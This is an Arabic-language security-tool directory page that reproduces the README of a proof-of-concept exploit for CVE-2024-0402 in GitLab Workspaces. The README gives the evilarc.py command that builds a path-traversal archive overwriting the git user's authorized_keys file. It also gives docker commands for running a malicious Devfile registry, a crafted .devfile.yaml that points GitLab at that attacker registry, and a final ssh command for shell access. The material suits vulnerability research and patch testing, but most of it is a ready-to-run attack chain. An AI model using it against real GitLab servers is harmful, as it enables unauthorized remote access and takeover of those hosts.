Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
malicious-devfile-registry — استغلال CVE-2024-0402 لـ GitLab Workspaces باستخدام سجل Devfile ضار مع أرشيف traversal للمسار لاستبدال authorized_keys والحصول على وصول SSH. | Kitploit
أدوات/GitHubGitHub/doyensec/malicious-devfile-registry
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأمن سلسلة التوريدالفريق الأحمر
GitHubdoyensec/malicious-devfile-registry

malicious-devfile-registry

استغلال CVE-2024-0402 لـ GitLab Workspaces باستخدام سجل Devfile ضار مع أرشيف traversal للمسار لاستبدال authorized_keys والحصول على وصول SSH.

عرض المستودعالموقع الإلكتروني
1559منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

سجل Devfile الخبيث

يحتوي هذا المشروع على سجل Devfile خبيث يمكن استخدامه لاستغلال CVE-2024-0402 في Gitlab.

الاستغلال

تم فهرسة مجموعة nodejs:2.2.1 لكشف ملف archive.tar الذي يستغل مشكلة اجتياز المسار في مكتبة registry-support قبل الإصدار v1.1.0.

موقع tar: malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar

تم إنشاؤه باستخدام evilarc.py لاستبدال ملف /var/opt/gitlab/.ssh/authorized_keys في خادم Gitlab المستهدف بمفاتيح SSH الموجودة ضمن مجلد ssh-keys/ في هذا المستودع.

python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix

بمجرد التشغيل، سيقوم السجل بإضافة ملف .tar الخبيث إلى المجموعات القابلة للجلب. انظر إلى index.json الذي يسرده ضمن موارد المجموعة:

...
"links": {
          "self": "devfile-catalog/nodejs:2.2.1"
        },
        ...
        "resources": [
          "devfile.yaml",
          "archive.tar"
        ],
...

خطوات إعادة الإنتاج

قم بتكوين مثيل Gitlab EE بإصدار <=16.8.0. قم بتمكين Workspaces عليه باتباع الوثائق والملاحظات الإضافية في مقالتنا المخصصة من سلسلة !exploitable series blogpost.

عندما تكون جاهزًا، اتبع الخطوات التالية:

  1. قم بتشغيل docker build -t devfile-index . في جذر هذا المستودع لبناء صورة حاوية السجل

  2. قم بتشغيل docker run -d -p 5000:5000 --name local-registrypoc registry:2 لتشغيل سجل حاويات محلي سيستخدمه سجل Devfile لتخزين المجموعة. ملاحظة: يجب عليك تعديل الأمر لتعريضه حسب حاجتك. بالنسبة لنا، كان كل شيء يحدث في بيئة محلية

  3. قم بتشغيل docker run --network host devfile-index لبدء تشغيل سجل Devfile الخبيث الذي تم بناؤه في الخطوة الأولى. ملاحظة: كما في السابق، قم بتعديل أمر التشغيل حسب رغبتك لجعله قابلاً للوصول من قبل مثيل Gitlab

  4. قم بتسجيل الدخول إلى خادم Gitlab المستهدف كمطور، ثم قم بتعديل ملف .devfile.yaml لمستودع تملكه. يجب أن يستغل YAML الفرق في المحلل اللغوي للسماح بالجلب من السجل الخبيث

schemaVersion: 2.2.0
!binary parent:
    id: nodejs
    registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
  - name: development-environment
    attributes:
      gl/inject-editor: true
    container:
      image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
  1. لتشغيل كتابة الملف في واجهة مستخدم Gitlab، فقط ابدأ Workspace جديدًا في المستودع المعدل. بعد بضع ثوانٍ، يجب أن تحدث كتابة الملف التعسفي وسيتم إضافة ssh-keys/pockey.pub إلى authorized_keys للمستخدم git

  2. يجب أن تكون قادرًا على الاستمتاع بقشرة غير مقيدة كمستخدم git باستخدام

ssh  -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>
تنزيل الأداة